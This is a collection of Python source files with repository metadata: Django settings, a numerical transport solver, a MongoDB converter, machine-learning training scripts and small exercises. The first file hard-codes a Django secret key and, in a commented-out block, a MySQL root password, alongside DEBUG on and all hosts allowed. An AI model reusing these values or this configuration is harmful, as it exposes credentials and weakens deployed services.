+{"seq_id":"21929850487","text":"# -*- coding: utf-8 -*-\n# author: itimor\n\nimport os\n\nAPP_ENV = 'dev'\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '64318ob@vbou7h50)b0a_pfda4d$bw2nhl4h*m$qo0_e_fxw=658!z*x'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = ['*']\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# sqlite\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': os.path.join(BASE_DIR, '../core.db'),\n    }\n}\n\n# mysql\n# DATABASES = {\n#     'default': {\n#         'ENGINE': 'django.db.backends.mysql',\n#         'NAME': 'one',\n#         'USER': 'root',\n#         'PASSWORD': 'momo520',\n#         'HOST': '1.1.1.11',\n#         'OPTIONS': {\n#             \"init_command\": \"SET foreign_key_checks=0;\",\n#         }\n#     }\n# }\n\n# 加载 mysql\n# import pymysql\n# pymysql.install_as_MySQLdb()\n","repo_name":"itimor/one-workflow","sub_path":"backend/core/settings/mac.py","file_name":"mac.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":237,"dataset":"github-code","pt":"77"}
+{"seq_id":"21709230091","text":"\"\"\"\nTransport equation\nexplicit - Lax-Wendroff scheme\n\"\"\"\n\n# cython: it's possible to compile time-critical code using cython\n# cython: which will reduce pure calculation time by a factor of about 3-4\n# cython: to activate it, uncomment the following import and some code below (see comments)\n\n#import transp_LaxWendroff_cython\n#import numpy as np\n\n\ndef calc_transp_lw(pd, m, to_step):\n\n    # a,b ... temporary variable for better readability\n    a = 0.5 * pd.CFL2 + pd.NE\n    b = 0.5 * pd.CFL\n\n    stable_calc = 2.0 * a\n    m.is_stable = (stable_calc<=1)\n\n    # cython: if you want to use cython, activate this ...\n    #u_1 = transp_LaxWendroff_cython.calc_transp_lw_cython(pd.CFL, pd.CFL2, pd.v, a, b, to_step, pd.u_00.copy())\n\n    # cython: ... and deactivate code from here ...\n    u_0 = pd.u_00.copy()\n    u_1 = pd.u_00.copy()\n\n    for n in range(0, to_step):\n\n        if pd.v == 0.0:\n            #  only advection\n            u_1[1:-1] += ( 1.0 + pd.CFL) *b  * u_0[:-2]\\\n                        +(     - pd.CFL2)   * u_0[1:-1]\\\n                        +(-1.0 + pd.CFL) *b  * u_0[2:]\n        else:\n\n            u_1[1:-1] =  (     a  +b    ) * u_0[:-2]\\\n                        +(-2.0*a    +1.0) * u_0[1:-1]\\\n                        +(     a  -b    ) * u_0[2:]\n\n        # boundary conditions\n        u_1[0] = pd.bc_upstream(n*pd.dt)\n        u_1[-1] = pd.bc_downstream(n*pd.dt)\n\n        u_0 = u_1     # calculated values are input values for the next step\n    # cython: ... to here\n\n    m.u_1 = u_1.copy()\n    m.u_final = u_1.copy()","repo_name":"alex-tug/NumFlowEduc","sub_path":"src/calc_modules/Transp_LaxWendroff.py","file_name":"Transp_LaxWendroff.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"816024299","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport sys\nfrom Attraction import Attraction\nfrom Brands import Brands\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\ndef main():\n    address_old = '192.168.199.147'\n    port_old = 27017\n\n    address_new = '192.168.199.147'\n    port_new = 27017\n\n    print('convert latestattractions to attraction.')\n    Attraction.convert_attraction(address_old, port_old, address_new, port_new)\n\n    print('convert brands to brand.')\n    Brands.convert_brands(address_old, port_old, address_new, port_new)\n\n    print(\"OK\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"hezhensong/MongoConvertor","sub_path":"travel3/main_hezhensong.py","file_name":"main_hezhensong.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2675917202","text":"## making a deck of cards, including a shuffle feature\r\n\r\nimport random\r\nfrom random import shuffle\r\n\r\nsuits = ['Hearts', 'Diamonds', 'Spades', 'Clubs']\r\nvalues = ['Ace', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'Jack', 'Queen', 'King']\r\n\r\nclass Card:\r\n    def __init__(self, suit, value):\r\n        self.suit = suit\r\n        self.value = value\r\n        \r\n    def show(self):\r\n        print (\"{} of {}\".format(self.value, self.suit))\r\n\r\ncard = Card(\"Card\", 6)\r\ncard.show()\r\n\r\nclass Deck:\r\n    def __init__(self):\r\n        self.cards = []\r\n        self.pile()\r\n    \r\n    def pile(self):\r\n        for i in suits:\r\n            for s in values:\r\n                self.cards.append(Card(i, s))\r\n\r\n    def show(self):\r\n        for a in self.cards:\r\n            a.show()\r\n\r\n    def shuffle(self):\r\n        for i in range(len(self.cards) - 1, 0, -1):\r\n            r = random.randint(0, i)\r\n            self.cards[i], self.cards[r] = self.cards[r], self.cards[i]\r\n\r\ndeck = Deck()\r\ndeck.shuffle()\r\ndeck.show()   \r\n","repo_name":"Scare966/python-practice-problems","sub_path":"deck_of_cards.py","file_name":"deck_of_cards.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8174513923","text":"# encoding: utf-8\ntry:\n    import os\n    import argparse\n\n    import torch\n    import numpy as np\n    import torch.nn.functional as F\n\n    from sklearn.mixture import GaussianMixture\n    from torch.optim.lr_scheduler import StepLR\n    from tqdm import tqdm\n    from itertools import chain\n    from sklearn.metrics import normalized_mutual_info_score as NMI\n\n    from fsvae.datasets import dataset_list, get_dataloader\n    from fsvae.config import RUNS_DIR, DATASETS_DIR, DEVICE, DATA_PARAMS\n    from fsvae.model import Generator, GMM, Encoder\n    from fsvae.utils import save_images, cluster_acc, gmm_Loss, mse\n\nexcept ImportError as e:\n    print(e)\n    raise ImportError\n\n\ndef main():\n    global args\n    parser = argparse.ArgumentParser(description=\"Convolutional NN Training Script\")\n    parser.add_argument(\"-r\", \"--run_name\", dest=\"run_name\", default=\"fsvae\", help=\"Name of training run\")\n    parser.add_argument(\"-n\", \"--n_epochs\", dest=\"n_epochs\", default=500, type=int, help=\"Number of epochs\")\n    parser.add_argument(\"-o\", \"--outlier\", dest=\"outlier_rate\", default=0, type=float, help=\"ratios of outlier\")\n    parser.add_argument(\"-s\", \"--dataset_name\", dest=\"dataset_name\", default='mnist', choices=dataset_list,\n                        help=\"Dataset name\")\n    parser.add_argument(\"-v\", \"--version_name\", dest=\"version_name\", default=\"v1\")\n    args = parser.parse_args()\n\n    run_name = args.run_name\n    dataset_name = args.dataset_name\n\n    # make directory\n    run_dir = os.path.join(RUNS_DIR, dataset_name, run_name, args.version_name)\n    data_dir = os.path.join(DATASETS_DIR, dataset_name)\n    imgs_dir = os.path.join(run_dir, 'images')\n    models_dir = os.path.join(run_dir, 'models')\n    log_path = os.path.join(run_dir, 'logs')\n\n    os.makedirs(data_dir, exist_ok=True)\n    os.makedirs(run_dir, exist_ok=True)\n    os.makedirs(imgs_dir, exist_ok=True)\n    os.makedirs(models_dir, exist_ok=True)\n    os.makedirs(log_path, exist_ok=True)\n\n    # -----train-----\n    # train detail var\n    n_epochs = args.n_epochs\n    b1 = 0.5\n    b2 = 0.99\n\n    data_params = DATA_PARAMS[dataset_name]\n    train_batch_size, latent_dim, c_feature, picture_size, cshape, data_size, train_lr, test_num, n_cluster = data_params\n    print(data_params)\n\n    # net\n    gen = Generator(latent_dim=latent_dim, x_shape=picture_size, cshape=cshape)\n    gmm = GMM(n_cluster=n_cluster, n_features=c_feature)\n    encoder = Encoder(\n        input_channels=picture_size[0],\n        output_channels=latent_dim,\n        cshape=cshape,\n        c_feature=c_feature,\n        r=9,\n        adding_outlier=(args.outlier_rate > 0.05)\n    )\n\n    # parallel\n    if torch.cuda.device_count() > 1:\n        print(\"this GPU have {} core\".format(torch.cuda.device_count()))\n\n    # set device: cuda or cpu\n    gen.to(DEVICE)\n    encoder.to(DEVICE)\n    gmm.to(DEVICE)\n\n    # optimization\n    gen_enc_gmm_ops = torch.optim.Adam(chain(\n        gen.parameters(),\n        encoder.parameters(),\n        gmm.parameters(),\n    ), lr=train_lr, betas=(b1, b2))\n    lr_s = StepLR(gen_enc_gmm_ops, step_size=10, gamma=0.95)\n\n    dataloader = get_dataloader(dataset_path=data_dir, dataset_name=dataset_name,\n                                batch_size=train_batch_size, outlier_rate=args.outlier_rate)\n    i_dataloader = get_dataloader(dataset_path=data_dir, dataset_name=dataset_name,\n                                batch_size=30000, shuffle=False, outlier_rate=0)\n\n    # =============================================================== #\n    # =========================initialization======================== #\n    # =============================================================== #\n    best_model = None\n    best_score = 0\n    print('searching best Gaussian mixture prior...')\n    datas, labels = i_dataloader.dataset.data, i_dataloader.dataset.targets\n    if dataset_name in ['cifar10', 'ytf', 'gtsrb']:\n        datas = datas.permute((0, 3, 1, 2)).to(DEVICE) / 255.0\n    else:\n        datas = datas.unsqueeze(1).to(DEVICE) / 255.0\n\n    Z = []\n    Y = []\n    with torch.no_grad():\n        z, _ = encoder(datas)\n        Z.append(z[2])\n        Y.append(labels)\n\n    Z = torch.cat(Z, 0).detach().cpu().numpy()\n    Y = torch.cat(Y, 0).detach().numpy()\n    for i in range(30):\n        _gmm = GaussianMixture(n_components=n_cluster, covariance_type='diag')\n        pre = _gmm.fit_predict(Z)\n        acc = cluster_acc(pre, Y)[0] * 100\n\n        if best_score < acc:\n            best_score = acc\n            best_model = _gmm\n    datas = datas.cpu()\n    torch.cuda.empty_cache()\n    del datas\n\n    print('best accuracy is: {:.4f}'.format(best_score))\n    gmm.pi_.data = torch.from_numpy(best_model.weights_).to(DEVICE).float()\n    gmm.mu_c.data = torch.from_numpy(best_model.means_).to(DEVICE).float()\n    gmm.log_sigma2_c.data = torch.log(torch.from_numpy(best_model.covariances_).to(DEVICE).float())\n\n    # =============================================================== #\n    # ============================training=========================== #\n    # =============================================================== #\n    print('begin training...')\n    epoch_bar = tqdm(range(0, n_epochs))\n    best_acc, best_nmi, best_ite = 0, 0, 0\n    gen_weight = 0.15\n    for epoch in epoch_bar:\n\n        g_t_loss = 0\n        for index, (real_images, augmented_images, target) in enumerate(dataloader):\n            real_images, augmented_images, target = real_images.to(DEVICE), \\\n                                                     augmented_images.to(DEVICE), \\\n                                                     target.to(DEVICE)\n\n            gen.train()\n            gmm.train()\n            encoder.train()\n            gen_enc_gmm_ops.zero_grad()\n\n            original_z, augmented_z = encoder(real_images, augmented_images, argument=(epoch > 50))\n            fake_images = gen(original_z[0], gen_weight * original_z[1])\n\n            rec_loss = torch.mean(\n                torch.sum(\n                    F.binary_cross_entropy(fake_images, real_images, reduction='none'), dim=[1, 2, 3]\n                )\n            )\n\n            augmented_loss = mse(original_z[2], augmented_z[2]) + \\\n                             mse(original_z[3], augmented_z[3])\n\n            c_loss = mse(gmm.get_asign(original_z[0])[0], gmm.get_asign(augmented_z[0])[0])\n\n            kl_loss = torch.mean(\n                -0.5 * torch.sum(\n                    1 + original_z[5] - original_z[3] ** 2 - original_z[5].exp(), dim=1\n                ), dim=0\n            )\n\n            kls_loss = gmm_Loss(original_z[0], original_z[2], original_z[4], gmm)\n\n            # the loss weight of augmentation module is used for all data sets.\n            g_loss = 10 * (augmented_loss + c_loss) + kls_loss + rec_loss + kl_loss\n\n            g_loss.backward()\n\n            gen_enc_gmm_ops.step()\n            g_t_loss += g_loss\n\n        # save cheekpoint model\n        if (epoch + 1) % 20 == 0:\n            cheek_path = os.path.join(models_dir, \"cheekpoint_{}\".format(epoch))\n            os.makedirs(cheek_path, exist_ok=True)\n            torch.save(gen.state_dict(), os.path.join(cheek_path, 'gen.pkl'))\n            torch.save(encoder.state_dict(), os.path.join(cheek_path, 'enc.pkl'))\n            torch.save(gmm.state_dict(), os.path.join(cheek_path, 'gmm.pkl'))\n\n        print(\n            'rec_loss: {:.4f}, a_loss: {:.4f}, c_loss: {:.4f}, kls_loss: {:.4f}, kl_loss: {:.4f}'.format(\n                rec_loss, augmented_loss, c_loss, kls_loss, kl_loss\n            )\n        )\n        lr_s.step()\n\n        # =============================================================== #\n        # ==============================test============================= #\n        # =============================================================== #\n        gen.eval()\n        encoder.eval()\n        gmm.eval()\n\n        with torch.no_grad():\n            Z = []\n            Y = []\n            for _data, _, _target in i_dataloader:\n                z, _ = encoder(_data.to(DEVICE))\n                Z.append(z[0])\n                Y.append(_target)\n\n            Z = torch.cat(Z, 0)\n            Y = torch.cat(Y, 0).detach().numpy()\n            _pred = gmm.predict(Z)\n            _acc = cluster_acc(_pred, Y)[0] * 100\n            _nmi = NMI(_pred, Y)\n\n            t_pred = _pred[:-test_num]\n            t_acc = cluster_acc(t_pred, Y[:-test_num])[0] * 100\n            t_nmi = NMI(t_pred, Y[:-test_num])\n\n            if best_acc < t_acc:\n                best_acc, best_nmi, best_ite = t_acc, t_nmi, epoch\n\n            stack_images = None\n            for k in range(n_cluster):\n\n                z1, z2 = gmm.sample_by_k(k, latent_dim=latent_dim)\n                fake_images = gen(z1, gen_weight * z2)\n\n                if stack_images is None:\n                    stack_images = fake_images[:n_cluster].data.cpu().numpy()\n                else:\n                    stack_images = np.vstack((stack_images, fake_images[:n_cluster].data.cpu().numpy()))\n            stack_images = torch.from_numpy(stack_images)\n            save_images(stack_images, imgs_dir, 'test_gen_{}'.format(epoch), nrow=n_cluster)\n\n            logger = open(os.path.join(log_path, \"log.txt\"), 'a')\n            logger.write(\n                \"[FSVAE]: epoch: {}, g_loss: {:.4f}, acc: {:.4f}%, nmi: {:.4f}, t_acc: {:.4f}%, t_nmi: {:.4f}\\n\".format\n                (\n                    epoch, g_t_loss / len(dataloader), _acc, _nmi, t_acc, t_nmi\n                )\n            )\n            logger.close()\n            print(\"[FSVAE]: epoch: {}, g_loss: {:.4f}, acc: {:.4f}%, nmi: {:.4f}, t_acc: {:.4f}%, t_nmi: {:.4f}\".format\n                  (\n                epoch, g_t_loss / len(dataloader), _acc, _nmi, t_acc, t_nmi\n            ))\n\n    print('complete training...best_acc is: {:.4f}, best_nmi is: {:.4f}, iteration is: {}'.format(\n        best_acc, best_nmi, best_ite,\n    ))\n    torch.save(gen.state_dict(), os.path.join(models_dir, 'gen.pkl'))\n    torch.save(encoder.state_dict(), os.path.join(models_dir, 'enc.pkl'))\n    torch.save(gmm.state_dict(), os.path.join(models_dir, 'gmm.pkl'))\n\n\nif __name__ == '__main__':\n\n    main()\n","repo_name":"fwt-team/FSVAE","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10068,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"13262678559","text":"from .logger import Logger\nimport torch\nimport os\nfrom custom_pt_layers import pytorch_layers_map\nfrom custom_pt_layers import MaskedLinear\nfrom layers_modules import layers_modules_maps\nimport copy\nfrom .utils import test, weights_init, device, Mode, adjust_learning_rate\nfrom prettytable import PrettyTable\nimport time\nimport numpy as np\n\n\nclass ModelTrain:\n    def __init__(self, model, criterion, optimizer, storage_parent_dir, input_size=None, debug=False, retrain_masked=False, other_model_parent_dir=None):\n        \"\"\"initialization of ModelTrain object used to train and test both unmasked and masked model\n\n        Arguments:\n            model {models.Model} -- input model object that will be trained and sparsified\n            criterion {nn.} -- loss function used during training\n            optimizer {torch.optim} -- optimizer used during training\n            storage_parent_dir {string} -- parent save directory used to save logs and trained models\n\n        Keyword Arguments:\n            input_size {tuple} -- size of input data to the model (default: {None})\n            debug {bool} -- when set to true the solver will be verbose (default: {False})\n            retrain_masked {bool} -- used to load a sparsified model with its original initialization and retrain it (default: {False})\n            other_model_parent_dir {string} -- path of the folder having the model sparsified on another dataset that will be retrained / generalized(default: {None})\n        \"\"\"\n        self._logger = Logger.__call__(storage_parent_dir, debug).get_logger()\n        self.model = model\n        self.model_masked = None\n        self.masking_indices = []\n        self.criterion = criterion\n        self.optimizer = optimizer\n        self.epoch = 0\n        self.storage_parent_dir = storage_parent_dir\n        # usef for generalization with retrain masked\n        self.other_model_parent_dir = other_model_parent_dir\n        self._device = device\n        self.input_size = input_size\n        self.retrain_masked = retrain_masked\n        self._init_models()\n\n    def _init_models(self):\n        parent_storage_dir = self.storage_parent_dir\n        if self.retrain_masked and self.other_model_parent_dir is not None:\n            parent_storage_dir = self.other_model_parent_dir\n        masked_model_path = os.path.join(\n            parent_storage_dir, self.model.name+'_'+Mode.MASK.name+'.pt')\n        model_path = os.path.join(\n            self.storage_parent_dir, self.model.name+'.pt')\n        if self.retrain_masked:\n            # loading masked model initialization and setting layer importance\n            model_init_path = os.path.join(\n                parent_storage_dir, self.model.name+'_init.pt')\n            self.load_model_init(model_init_path)\n            # now based on the loaded init creating the masked version\n            self.swap_pytorch_layers()\n            model_masked_loaded = self.load_model_masked(masked_model_path)\n            if not(model_masked_loaded):\n                self._logger.exception(\n                    'Masking indices not loaded for model {}'.format(self.model.name))\n                raise Exception(\n                    'Masking indices not set which is a critical bug')\n            removed_neurons_percentage = self.swap_pytorch_layers(\n                mask_indices=True)\n            self._logger.info('Retraining masked model with {}% removed parameters from original model {}'.format(\n                removed_neurons_percentage, self.model.name))\n        else:\n            if not(os.path.isfile(model_path)):\n                self.reset_model()\n            if os.path.isfile(masked_model_path):\n                self.swap_pytorch_layers()\n                self.load_model_masked(masked_model_path)\n        if os.path.isfile(model_path):\n            self.load_model(model_path)\n\n    def reset_model(self):\n        \"\"\"Reset model weights\n        \"\"\"   \n        self.model.to(self._device)\n        self.model.apply(weights_init)\n        self._save_model_init()\n\n    def _save_model_init(self):\n        \"\"\"used to save model initialization\n        \n        Returns:\n            bool -- return True on success\n        \"\"\"        \n        try:\n            torch.save(self.model.state_dict(), os.path.join(\n                self.storage_parent_dir, self.model.name + '_init.pt'))\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def load_model_init(self, path):\n        \"\"\"load saved model initialization from specific path\n        \n        Arguments:\n            path {string} -- path of the model's initialization\n        \n        Returns:\n            bool -- return True on success\n        \"\"\"        \n        try:\n            checkpoint = torch.load(path, map_location=self._device)\n            self.model.load_state_dict(checkpoint)\n            self._logger.info(\n                'Model initialization {} loaded'.format(self.model.name))\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def save_model(self, model, optimizer, prefix=''):\n        \"\"\"save model state dict along with optimizer state to continue training on interruptions\n        \n        Arguments:\n            model {models.Model} -- model used for training\n            optimizer {torch.optim} -- optimizer used during training\n        \n        Keyword Arguments:\n            prefix {str} -- prefix added during model save (default: {''})\n        \n        Returns:\n            bool -- True on success\n        \"\"\"        \n        try:\n            torch.save({\n                'epoch': self.epoch + 1,\n                'model_state_dict': model.state_dict(),\n                'optimizer_state_dict': optimizer.state_dict()\n            }, os.path.join(self.storage_parent_dir, model.name+prefix+'.pt'))\n            self._logger.info('Model {} saved at epoch {}'.format(\n                self.model.name, str(self.epoch)))\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def load_model(self, path):\n        \"\"\"used to load model from specific path\n        \n        Arguments:\n            path {string} -- path of the checkpoint holding model and optimizer state dict\n        \n        Returns:\n            bool -- True on success\n        \"\"\"        \n        try:\n            checkpoint = torch.load(path, map_location=self._device)\n            self.model.load_state_dict(checkpoint['model_state_dict'])\n            if self.optimizer is not None:\n                self.optimizer.load_state_dict(\n                    checkpoint['optimizer_state_dict'])\n            self.epoch = checkpoint['epoch']\n            self._logger.info('Model {} loaded'.format(self.model.name))\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def save_model_masked(self, suffix='_masked'):\n        \"\"\"used to save the sparsified model\n        \n        Keyword Arguments:\n            suffix {str} -- a suffix to be added to the model's name when saved (default: {'_masked'})\n        \n        Returns:\n            bool -- True on success\n        \"\"\"        \n        try:\n            torch.save({\n                'model_state_dict': self.model_masked.state_dict(),\n                'masking_indices': self.masking_indices\n            }, os.path.join(self.storage_parent_dir, self.model.name + suffix + '.pt'))\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def load_model_masked(self, path):\n        \"\"\"load saved masked model\n        \n        Arguments:\n            path {string} -- path of the masked model's checkpoint\n        \n        Returns:\n            bool -- True on success\n        \"\"\"        \n        try:\n            checkpoint = torch.load(path, map_location=self._device)\n            self.model_masked.load_state_dict(checkpoint['model_state_dict'])\n            self.masking_indices = checkpoint['masking_indices']\n            self._logger.info(\n                'Masked Model {} loaded'.format(self.model_masked.name))\n            self.model_masked.eval()\n            return True\n        except Exception as e:\n            self._logger.exception(str(e))\n            return False\n\n    def swap_pytorch_layers(self, mask_indices=False):\n        \"\"\"this function is used to replace dense layers with custom pytorch layers which allows sparsification \n        custom modules are from custom_pt_layers\n        \n        Keyword Arguments:\n            mask_indices {bool} -- when enabled will mask indices set in ModelTrain object (default: {False})\n        \n        Returns:\n            float -- parameter removal percentage\n        \"\"\"        \n        self.model_masked = copy.deepcopy(self.model)\n        self.model_masked.name = self.model.name + '_' + Mode.MASK.name + '_model'\n        mask_layer_indx = 0\n        prev_input_size = self.input_size\n        prev_layer_indx = 0\n        first_layer_checked = False\n        removed_params = 0\n        original_model_num_params = 1\n        if mask_indices:\n            original_model_num_params = sum(\n                p.numel() for p in self.model.parameters())\n            removed_params = original_model_num_params\n        for layer_indx, layer in enumerate(self.model):\n            # checking for available keys that can be swapped in pytorch layers map\n            for layer_type in pytorch_layers_map:\n                if isinstance(layer, layer_type):\n                    # needs swapping in order to update image size\n                    if first_layer_checked:\n                        prev_input_size = self.model_masked[prev_layer_indx].output_size\n                    self.model_masked[layer_indx] = pytorch_layers_map[layer_type].copy_layer(\n                        layer, prev_input_size)\n                    if mask_indices and len(self.masking_indices) > 0 and layer_indx < len(self.model) - 1:\n                        if self.masking_indices[mask_layer_indx][0] == layer_indx:\n                            self.model_masked[layer_indx].mask_neurons(\n                                self.masking_indices[mask_layer_indx][1])\n                            removed_params -= len(\n                                self.masking_indices[mask_layer_indx][1]) * self.model_masked[layer_indx].in_features\n                            mask_layer_indx += 1\n                    prev_layer_indx = layer_indx\n                    first_layer_checked = True\n                    break\n        self._logger.info(\n            'Finished creating masked version of model {}'.format(self.model.name))\n        return 100 - ((removed_params / original_model_num_params) * 100)\n\n    def set_mask_indices(self, mask_indices, suffix='_masked', save_masking_model=False):\n        \"\"\"setting masked indices of the parameters that will be sparsified from the model\n        \n        Arguments:\n            mask_indices {list} -- a list of numpy array holding indexes of neurons to be sparsified\n        \n        Keyword Arguments:\n            suffix {str} -- suffix used to save the masked model (default: {'_masked'})\n            save_masking_model {bool} -- when set to true the masked model will be saved (default: {False})\n        \"\"\"        \n        self.masking_indices = mask_indices\n        # create a new model copy\n        self.swap_pytorch_layers(True)\n        if save_masking_model:\n            self.save_model_masked(suffix)\n\n    def train(self, train_loader, val_loader=None, num_epochs=10, finetune_masked=False):\n        \"\"\"train a model based on input train data loader and validation data loader\n        \n        Arguments:\n            train_loader {torch.dataloader} -- a batch generator for training data\n        \n        Keyword Arguments:\n            val_loader {torch.dataloader} -- a batch generator for validation data (default: {None})\n            num_epochs {int} -- number of training epochs (default: {10})\n            finetune_masked {bool} -- when set to True this function will finetune the masked model (default: {False})\n        \"\"\"        \n        model = self.model\n        optimizer = self.optimizer\n        prefix = ''\n        if self.retrain_masked or finetune_masked:\n            model = self.model_masked\n            optimizer = self.optimizer.__class__(\n                model.parameters(), self.optimizer.param_groups[0]['lr'])\n            self.epoch = 0\n            if finetune_masked:\n                prefix = '_finetuned'\n        model.train()\n        train_batch_time_list = []\n        inference_batch_time_list = []\n        self._logger.info(\n            'Started training Model {} training'.format(model.name))\n        for epoch_indx in range(self.epoch, num_epochs):\n            total_loss, total_err = 0., 0.\n            for X, y in train_loader:\n                start_batch_time = time.time()\n                X, y = X.to(self._device), y.to(self._device)\n                yp = model(X)\n                loss = self.criterion(yp, y)\n                optimizer.zero_grad()\n\n                model.register_backward_hooks()\n                loss.backward()\n                optimizer.step()\n                train_batch_time_list.append(time.time() - start_batch_time)\n\n                total_err += (yp.max(dim=1)[1] != y).sum().item()\n                total_loss += loss.item() * X.shape[0]\n            adjust_learning_rate(optimizer, epoch_indx)\n            self._logger.logging_loss(\n                'train',  total_loss / len(train_loader.dataset), epoch_indx)\n            if val_loader is not None:\n                model.eval()\n                start_eval_time = time.time()\n                val_loss, _ = test(model, val_loader, self.criterion)\n                inference_batch_time_list.append(\n                    (time.time() - start_eval_time) / len(val_loader))\n                self._logger.logging_loss('val',  val_loss, epoch_indx)\n                model.train()\n            self.epoch = epoch_indx\n            self.save_model(model, optimizer, prefix=prefix)\n        model.eval()\n        model.unregister_backward_hooks()\n        avg_time_per_batch = np.mean(train_batch_time_list)\n        total_train_time = np.sum(train_batch_time_list)\n        avg_inference_per_batch = np.mean(inference_batch_time_list)\n        self._logger.info('Model {} took {} seconds per batch'.format(\n            model.name, avg_time_per_batch))\n        self._logger.info('Model {} took total {} seconds to train'.format(\n            model.name, total_train_time))\n        self._logger.info('Model {} took average  {} seconds for inference per batch'.format(\n            model.name, avg_inference_per_batch))\n        self._logger.info('Finished Model {} training'.format(model.name))\n\n    def print_results(self, train_loader, val_loader, test_loader, test_original_model=True, test_masked_model=True, save_heat_map=False, mode_name=''):\n        \"\"\"used to print accuracy/loss results of the original and masked model on input datasets\n        \n        Arguments:\n            train_loader {torch.dataloader} -- train data loader\n            val_loader {torch.dataloader} -- validation data loader\n            test_loader {torch.dataloader} -- test data loader\n        \n        Keyword Arguments:\n            test_original_model {bool} -- a flag to test the original model (default: {True})\n            test_masked_model {bool} -- a flag to test the masked model (default: {True})\n            save_heat_map {bool} -- a flag to save the model heatmap on random images for conv models (default: {False})\n            mode_name {str} -- name of the sparsification mode that can be MASK, CRITICAL, RANDOM (default: {''})\n        \n        Returns:\n            string -- result table \n        \"\"\"        \n        if not(test_masked_model) and not(test_original_model):\n            self._logger.exception(\n                'Error when testing model no model is enabled')\n            return\n        col_names = ['Model Name']\n        if train_loader is not None:\n            col_names.append('Train l/acc')\n        if val_loader is not None:\n            col_names.append('Val l/acc')\n        if test_loader is not None:\n            col_names.append('Test l/acc')\n        model_summary_table = PrettyTable(col_names)\n        model_list = []\n        if test_original_model and not(self.retrain_masked):\n            model_list = [('Original Model ' + self.model.name, self.model)]\n        if test_masked_model:\n            if self.model_masked is not None:\n                model_list.append(\n                    ('Masked Model ' + self.model_masked.name, self.model_masked))\n        # saving heat map on some sample images\n        if val_loader is not None and save_heat_map:\n            for label in range(val_loader.dataset.n_classes):\n                X, y = val_loader.dataset.sample_itm_class(label)\n                for model in model_list:\n                    if hasattr(model[-1], 'get_heat_map'):\n                        # sample an image for class 0 for now\n                        img_path = model[-1].get_heat_map(\n                            X.clone(), y, self.storage_parent_dir, model[0] + '_' + mode_name)\n                        self._logger.info(\n                            'Created Heat map at {}'.format(img_path))\n        results = []\n        for model in model_list:\n            current_model_results_dict = {}\n            loss_acc = [0] * (len(col_names) - 1)\n            start_indx = 0\n            if train_loader is not None:\n                loss_acc[start_indx] = test(\n                    model[-1], train_loader, self.criterion)\n                current_model_results_dict['loss_train'] = loss_acc[start_indx][0]\n                current_model_results_dict['acc_train'] = loss_acc[start_indx][1]\n                start_indx += 1\n            if val_loader is not None:\n                loss_acc[start_indx] = test(\n                    model[-1], val_loader, self.criterion)\n                start_indx += 1\n            if test_loader is not None:\n                loss_acc[start_indx] = test(\n                    model[-1], test_loader, self.criterion)\n                current_model_results_dict['loss_test'] = loss_acc[start_indx][0]\n                current_model_results_dict['acc_test'] = loss_acc[start_indx][1]\n                start_indx += 1\n            resulting_info = [str(current_l_acc[0]) + ' / ' +\n                              str(current_l_acc[1]) for current_l_acc in loss_acc]\n            model_summary_table.add_row([model[0]]+resulting_info)\n            results.append(current_model_results_dict)\n        self._logger.info(str(model_summary_table))\n        return results\n","repo_name":"pherber3/DLDO-Project","sub_path":"Project copy/mip-for-ann-master/training/model_train.py","file_name":"model_train.py","file_ext":"py","file_size_in_byte":18724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29459720009","text":"def jerigonzo(string):\n    jer=\"\"\n    for letra in string:\n        if letra not in \"AEIOUaeiou\":\n            jer+=letra\n        else:\n            jer+=letra+\"p\"+letra\n    return jer\nif __name__ == \"__main__\":\n    palabra=input(\"Ingrese la palabra a tranformar: \")\n    jerigonzo(palabra)\n         ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema4_ej3/tema4_ej3_23cd175780d5d75ed3fb07906fcb93a0.py","file_name":"tema4_ej3_23cd175780d5d75ed3fb07906fcb93a0.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
